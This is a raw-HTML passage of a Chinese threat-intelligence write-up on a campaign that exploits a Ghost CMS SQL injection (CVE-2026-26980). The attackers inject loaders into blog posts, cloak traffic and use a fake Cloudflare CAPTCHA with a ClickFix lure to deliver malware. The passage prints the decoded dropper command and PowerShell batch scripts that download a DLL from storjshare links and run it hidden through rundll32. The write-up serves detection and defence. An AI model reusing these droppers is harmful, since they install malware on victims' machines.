SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2026-05-17：完成第二轮被污染站点测绘，确认700+个受害者域名，发现新的攻击者</span></p></li></ul><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h1 data-layout-id="25" style="font-size: 20px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;text-align: center;"><span leaf=""><span textstyle="" style="font-weight: bold;">漏洞背景：CVE-2026-26980</span></span></h1><p data-layout-id="26" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">CVE-2026-26980 是 Ghost CMS 中的一处高危 SQL 注入漏洞。攻击者无需任何认证，即可通过该漏洞直接读取数据库内容，包括Admin API Key。Ghost 的 API 体系中存在以下两类Key，</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-layout-id&#34;:&#34;30&#34;,&#34;style&#34;:&#34;line-height: 1.75em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">本次事件中，攻击者窃取的是Admin API Key，这也是其能够批量篡改文章内容的根本前提。</span></p><ul class="list-paddingleft-1"><li><p data-layout-id="28" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Content API Key：默认只读，仅用于前端读取已发布内容</span></p></li><li><p data-layout-id="29" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Admin API Key：拥有文章、主题、用户等管理权限，可调用PUT /ghost/api/admin/posts/:id/等接口直接修改文章</span></p></li></ul><h1 data-layout-id="31" style="font-size: 20px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;text-align: center;"><span leaf=""><span textstyle="" style="font-weight: bold;">攻击链总览</span></span></h1><p data-layout-id="32" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">整个攻击过程具备明显的 &#34;CMS接管→页面投毒→二阶段加载→社工诱导(FakeCaptcha/ClickFix) →恶意软件投递&#34; 五段式特征，且全流程高度自动化：批量扫描漏洞 → 自动提取 Key → 批量注入 → C2 动态分发。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.0749711649365628" data-s="300,640" data-type="png" data-w="867" style="width:100%;" type="block" data-backw="578" data-backh="621" data-imgfileid="100001008" src="https://wechat2rss.xlab.app/img-proxy/?k=866ca047&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8yy0vjcYtkOmxMayV8BHUX3FibBNBob2AOvrX8YRIoalxx0pV6cJR8w9V2qMYDZUjEWxiaL0QeUqdH8I6icloh8szKSYc0pmwZvbs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-layout-id="34" style="font-size: 17px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;"><span leaf=""><span textstyle="" style="font-weight: bold;">Stage 1：文章尾部注入恶意 JavaScript</span></span></h2><p data-layout-id="35" style="line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">攻击者在成功获取目标站点 Admin API Key 后，通过 Ghost Admin API 修改文章内容，在文章底部插入恶意代码。我们捕获的恶意代码可以分析俩个版本，它们的核心功能是一致的，只不过新版本在优化了加载逻辑，即通过浏览器的localStorage，确保后续代码在当前浏览器中只执行一次。</span></p><p data-layout-id="36" style="font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 24px;text-align: center;"><span leaf=""><span textstyle="" style="font-weight: bold;">旧版本</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3552750225428314" data-s="300,640" data-type="png" data-w="1109" style="width:100%;" type="block" data-backw="578" data-backh="205" data-imgfileid="100001009" src="https://wechat2rss.xlab.app/img-proxy/?k=16bf015b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wBr1vJJvLQsJBtvRId0ia8kTJvQ8wib4QHe7icaWylk1Sw4YBlEDIOHK4vYI5H9Cv8DQTcstFyracWgWjdnOPibRficZSvugLvvc7w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="38" style="font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 24px;text-align: center;"><span leaf=""><span textstyle="" style="font-weight: bold;">新版本</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5214776632302406" data-s="300,640" data-type="png" data-w="1164" style="width:100%;" type="block" data-backw="578" data-backh="301" data-imgfileid="100001010" src="https://wechat2rss.xlab.app/img-proxy/?k=face218d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wBs5utt53b82aJSKvE9vrVt9K172dOojxrYFEfhtfkegqIEUWaFFKknibhWEffYIC9wPYy0DY3zYJOpYL6ORSDZniaSGCXnEDyg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="40" style="font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 24px;"><span leaf="">代码行为分析：</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3302646720368239" data-s="300,640" data-type="png" data-w="869" type="block" data-imgfileid="100001037" src="https://wechat2rss.xlab.app/img-proxy/?k=4eb66643&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8yEtTr6SSdmXAqgPTnh2ib4MvpXPoAmIO5eJwIlhBMrUM2kibmBM4Ft0736zqT0yZjESv3kWKQoXMZO0nsGQovosEIZjbeus6vA4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="42" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">这是一段典型的二阶段加载器（two-stage loader）：第一阶段是固定写入数据库的 thin loader，真正的 payload 由clo4shara[.]xyz/11z77u3.php按需返回。</span></p><p data-layout-id="43" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">这种设计对攻击者的好处非常明显：</span></p><ul class="list-paddingleft-1"><li><p data-layout-id="44" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">切换 payload 内容（钓鱼跳转 / 信息窃取 / 挖矿 / 浏览器 0day / 仅在特定地理或 UA 下激活）完全不需要再次入侵站点</span></p></li><li><p data-layout-id="45" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">一旦被发现，C2 可以&#34;先静默&#34;再&#34;复活&#34;，绕过基于 payload 内容的特征匹配</span></p></li><li><p data-layout-id="46" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">同一份 loader 可以跨多个被入侵的站点复用，C2 端通过 btoa(origin)标识来源</span></p></li></ul><h2 data-layout-id="47" style="font-size: 17px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;"><span leaf=""><span textstyle="" style="font-weight: bold;">Stage 2：二阶段Cloaking脚本，跳转至伪造验证页面</span></span></h2><p data-layout-id="48" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">直接访问clo4shara[.]xyz/11z77u3.php 可以看到一段代码，它其实是典型的流量分发脚本，核心功能是采集用户浏览器的多种指纹信息并上传至服务端，随后根据返回指令执行跳转、弹窗、下载等动作。经分析，我们认为这个PHP脚本并非攻击者自主开发，而是源自商业化Cloaking服务提供商Adspect。在恶意场景中，Cloaking技术使网站能根据访客身份动态切换内容：真实受害者将才会接收到恶意负载，而安全研究人员或爬虫仅能看见无害的“安全页面”。</span></p><p data-layout-id="49" style="font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 24px;text-align: center;"><span leaf=""><span textstyle="" style="font-weight: bold;">环境指纹采集</span></span></p><p data-layout-id="50"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">通过采集浏览器、系统、硬件等多维度的指纹信息（如 WebGL 显卡型号、Navigator 属性、时区、触摸事件支持、控制台是否被篡改等），构建浏览器环境的唯一标识，上报给服务器用于判断请求是否来自真实受害者。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.0124521072796935" data-s="300,640" data-type="png" data-w="1044" type="block" data-imgfileid="100001011" src="https://wechat2rss.xlab.app/img-proxy/?k=8cfee73c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yDpmYsdcficCVgiayvcdqBNVrma9KTiaBRWfzqtFqusT14rMjUcIy4Ffuwf8AEBpQhWQDvQxc4rsbd7p7g5wFYOwj3QQ1cQJHMc8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="52" style="font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 24px;text-align: center;"><span leaf=""><span textstyle="" style="font-weight: bold;">远程控制</span></span></p><p data-layout-id="53"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">支持 local、fetch、proxy、301–307 状态码、iframe、form、php、js 等 19 种不同指令，能够执行任意 JavaScript 代码，攻击者可以完全控制受害者的浏览器。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8108776266996292" data-s="300,640" data-type="png" data-w="1618" style="width:100%;" type="block" data-backw="578" data-backh="469" data-imgfileid="100001012" src="https://wechat2rss.xlab.app/img-proxy/?k=21dfbeee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wOFSA25TQWmtgUYbbgahuIS2cWfZclE7rJSqkCyfibr7dRNM19vvALoOicq4m59XuV6nVsIkNwfe9yib8pT2hJxOBsibm4rlOfJk4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="54"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">实际中真正的受害者访问11z77u3.php返回的windows_adata相关代码如下所示，此时脚本执行iframe指令，让浏览器通过iframe的方式加载下一阶段的页面cloud-verification[.]com。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__variable">window</span>.<span class="code-snippet__property">_adata</span>  = {</span></code><br/><code><span leaf="">  <span class="code-snippet__string">&#34;ok&#34;</span>: <span class="code-snippet__literal">true</span>,</span></code><br/><code><span leaf="">  <span class="code-snippet__string">&#34;action&#34;</span>: <span class="code-snippet__string">&#34;iframe&#34;</span>,</span></code><br/><code><span leaf="">  <span class="code-snippet__string">&#34;cid&#34;</span>:  <span class="code-snippet__string">&#34;69fca6a9ad57095d&#34;</span>,</span></code><br/><code><span leaf="">  <span class="code-snippet__string">&#34;js&#34;</span>: <span class="code-snippet__literal">false</span>,</span></code><br/><code><span leaf="">  <span class="code-snippet__string">&#34;target&#34;</span>:  <span class="code-snippet__string">&#34;<a href="https://cloud-verification[.]com" target="_blank">https://cloud-verification[.]com</a>&#34;</span></span></code><br/><code><span leaf="">};</span></code><br/></pre></p><p data-layout-id="57"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">用户视角的现像就是浏览器显示一个Cloudflare 的&#34;人机验证&#34;页面，要求Verify you are human。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3939393939393939" data-s="300,640" data-type="png" data-w="1056" style="width:100%;" type="block" data-backw="578" data-backh="228" data-imgfileid="100001013" src="https://wechat2rss.xlab.app/img-proxy/?k=c485f27b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xn1icLWMkIONJ7NspRB4CTpwriaEx60gbEsXN71ZicT7NoxjG7RpqAicTuktlkc5dBY98WibValWL2CYQvMA8iby9NyYlSsrRo5xDrk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-layout-id="60" style="font-size: 17px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;"><span leaf=""><span textstyle="" style="font-weight: bold;">Stage 3：ClickFix 社会工程学攻击</span></span></h2><p data-layout-id="61"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">上一章节提到的页面，是一个高度仿冒 Cloudflare 的“人机验证”页面。当用户点击“验证”后，页面会进一步引导用户完成以下三个特定步骤，才能通过验证。这其实是当下非常流行的 Fake CAPTCHA 攻击手法，通过社会工程学诱导用户，从而完成恶意软件的投递与执行。</span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p data-layout-id="62"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">使用WIN+R快捷键打开命令窗口</span></p></li><li><p data-layout-id="63"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">使用Ctrl+V复制指令</span></p></li><li><p data-layout-id="64"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">按下Enter执行指令。</span></p></li></ul><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5112309074573226" data-s="300,640" data-type="png" data-w="1113" style="width:100%;" type="block" data-backw="578" data-backh="295" data-imgfileid="100001014" src="https://wechat2rss.xlab.app/img-proxy/?k=f3dbd56f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wImMiafZsuubpxDT1zGZjCrHSibVUzjbYBPffqF6ohH7NpEBx2rOg8azKKyM47icojt8tqeThJ7ejyk9RxUMV0wCC55icA2PYY4Mk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="67" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">没有经验的读者或许会说：“这看起来没有什么恶意行为啊？”其实，玄机就藏在 setTimeout 里。它设定了一个在页面被访问后，延时至少500毫秒才会执行的函数，用来在后台偷偷下载恶意文件，下载地址为“<a href="https://cloud-verification[.]com/update.zip”。如果用户浏览器没有开启“下载提醒”，整个过程就会在毫无察觉的情况下完成。" target="_blank">https://cloud-verification[.]com/update.zip”。如果用户浏览器没有开启“下载提醒”，整个过程就会在毫无察觉的情况下完成。</a></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4675925925925926" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001015" src="https://wechat2rss.xlab.app/img-proxy/?k=4bcd2711&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8x20NQibWJJZwBkibuoibaCiawll3bRMK96yPj3w8V9B2z0wyJHhjYO5T7jVvthx8GDr73O39TdQbdC9pLv7PJfJJXjycU8VJn83OM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="69"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">而用户Ctrl+V复制的指令来自dropper，将它使用base64解码如下所示，它的功能正是将下载的update.zip恶意载荷启动执行。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">cmd /c  <span class="code-snippet__string">&#34;move %USERPROFILE%\Downloads\update.zip %TEMP%\u.zip </span></span></code><br/><code><span leaf="">&amp;&amp;  tar -xf %TEMP%\u.zip -C %TEMP% </span></code><br/><code><span leaf="">&amp;&amp;  start /min &#34;<span class="code-snippet__string">&#34; %TEMP%\update.bat&#34;</span> </span></code><br/><code><span leaf="">&amp;  REM</span></code><br/><code><span leaf="">* I am  not a robot reCAPTCHA Verification ID:2771</span></code><br/></pre></p><p style="text-align: center;line-height: 1.6em;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.30398899587345257" data-s="300,640" data-type="png" data-w="727" type="block" data-imgfileid="100001001" src="https://wechat2rss.xlab.app/img-proxy/?k=a0cf4e56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yFCnwMAyh1iaybEpU3g37kgM55Gic7uBazls3I0hiaekI368m7ruSYvKiaqsI8N5BcicicrsicBLgdHHa4IiczkNazic35uUAK6cMpNLVQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-layout-id="72" style="font-size: 17px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;"><span leaf="">Stage 4：载荷投递</span></h2><p data-layout-id="73"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">我们目前一共捕获了以下4个不同的下载地址，其中可以分成update.zip和NotepadPlugPlus.zip俩大类，其中update.zip这一类的恶意代码保存在update.bat中。</span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p><span leaf="">jalwat[.]com/static/uploads/campaigns/6/update.zip</span></p></li><li><p><span leaf="">cloud-verification[.]com/update.zip</span></p></li><li><p><span leaf="">com-apps[.]cc/update.zip</span></p></li><li><p><span leaf="">com-apps[.]cc/NotepadPlusPlus.zip</span></p></li></ul><ul style="font-size: 15px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" class="list-paddingleft-1"></ul><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5149253731343284" data-s="300,640" data-type="png" data-w="670" style="width:100%;" type="block" data-backw="578" data-backh="298" data-imgfileid="100001016" src="https://wechat2rss.xlab.app/img-proxy/?k=c3903861&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wzlWEGe2tCI7vFpDsFiaWc44pKy4Upho4XLnVM2OjTqXTpTjCjDFFibYJjLFR2yuq2BKs7pPqibqk6roKvaNDiaIOqectONbrV2gc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="79" style="font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-weight: bold;">5月7日</span>：来自jalwat[.]com的update.bat</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">@<span class="code-snippet__built_in">echo</span>  off</span></code><br/><code><span leaf="">powershell  -W 1 -C <span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__variable">$f</span></span><span class="code-snippet__string">=</span><span class="code-snippet__string"><span class="code-snippet__variable">$env</span></span><span class="code-snippet__string">:Temp+&#39;\installer.dll&#39;; </span></span></code><br/><code><span leaf="">iwr  &#39;<a href="https://link.storjshare[.]io/raw/jwqiycdezuj5gpqsyqn3damxbhgq/000/supman/installer.dll" target="_blank">https://link.storjshare[.]io/raw/jwqiycdezuj5gpqsyqn3damxbhgq/000/supman/installer.dll</a>&#39;  -OutFile <span class="code-snippet__variable">$f</span>;  </span></code><br/><code><span leaf="">Start-Process rundll32  -ArgumentList  <span class="code-snippet__variable">$f</span>,&#39;Begin&#39; -Window  Hidden&#34;</span></code><br/><code><span leaf="">start  <span class="code-snippet__string">&#34;&#34;</span> <span class="code-snippet__string">&#34;<a href="https://youtube.com" target="_blank">https://youtube.com</a>&#34;</span></span></code><br/></pre></p><p data-layout-id="81" style="font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-weight: bold;">5月8日</span>：来自cloud-verificatoin[.]com的update.bat</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">@<span class="code-snippet__built_in">echo</span>  off</span></code><br/><code><span leaf="">powershell  -W 1 -C <span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__variable">$f</span></span><span class="code-snippet__string">=</span><span class="code-snippet__string"><span class="code-snippet__variable">$env</span></span><span class="code-snippet__string">:Temp+&#39;\installer.dll&#39;; iwr  &#39;<a href="https://link.storjshare[.]io/raw/jwl6ukpgv3mronv4ik2atzxsfxzq/sup/installer.dll" target="_blank">https://link.storjshare[.]io/raw/jwl6ukpgv3mronv4ik2atzxsfxzq/sup/installer.dll</a>&#39;  -OutFile </span><span class="code-snippet__string"><span class="code-snippet__variable">$f</span></span><span class="code-snippet__string">;  Start-Process rundll32  -ArgumentList  </span><span class="code-snippet__string"><span class="code-snippet__variable">$f</span></span><span class="code-snippet__string">,&#39;Begin&#39; -Window  Hidden&#34;</span></span></code><br/><code><span leaf="">start  <span class="code-snippet__string">&#34;&#34;</span> <span class="code-snippet__string">&#34;<a href="https://wl[.]gl/supp.jpg" 